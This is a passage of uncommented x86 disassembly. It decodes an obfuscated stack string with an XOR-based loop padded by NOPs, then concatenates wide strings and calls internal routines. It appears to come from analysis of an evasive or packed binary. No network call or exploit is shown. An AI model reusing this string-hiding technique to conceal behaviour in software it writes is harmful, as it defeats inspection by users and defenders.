lea eax, [eax + 2]
jne 0x4260d0
cmp eax, 0xffffffed
jge 0x4260e7
mov eax, 0xffffffff
jmp 0x4260ea
add eax, 0x12
push eax
call fcn.0040c700
add esp, 4
mov esi, eax
mov dword [esp], 0xcf51c9a4
mov dword [esp + 4], 0xc34bcda9
mov dword [esp + 8], 0xc794c194
mov dword [esp + 0xc], 0xfb9cc5a0
mov word [esp + 0x10], 0xf9f8
mov dword [esp + 0x12], 0
mov byte [esp + 0x16], 0
mov eax, 0x51
mov ecx, 0x226483ad
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ebx, byte [esp + eax - 0x51]
lea ebp, [eax - 0x113241ff]
mov edx, ecx
xor edx, ebp
and edx, ebx
xor edx, ebp
add dl, 0x66
mov byte [esp + eax - 0x51], dl
inc eax
dec ecx
cmp eax, 0x68
jne 0x426140
movzx ecx, word [edi]
mov eax, esi
test cx, cx
je 0x426181
add edi, 2
mov eax, esi
mov word [eax], cx
add eax, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x426170
mov word [eax], 0
movzx ecx, word [esp]
test cx, cx
je 0x4261b1
lea edx, [esp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4261a0
mov word [eax], 0
mov eax, esp
push eax
push esi
call fcn.00445b90
add esp, 8
mov edi, eax
mov ebx, dword [esp]
jmp dword [0x44d07c]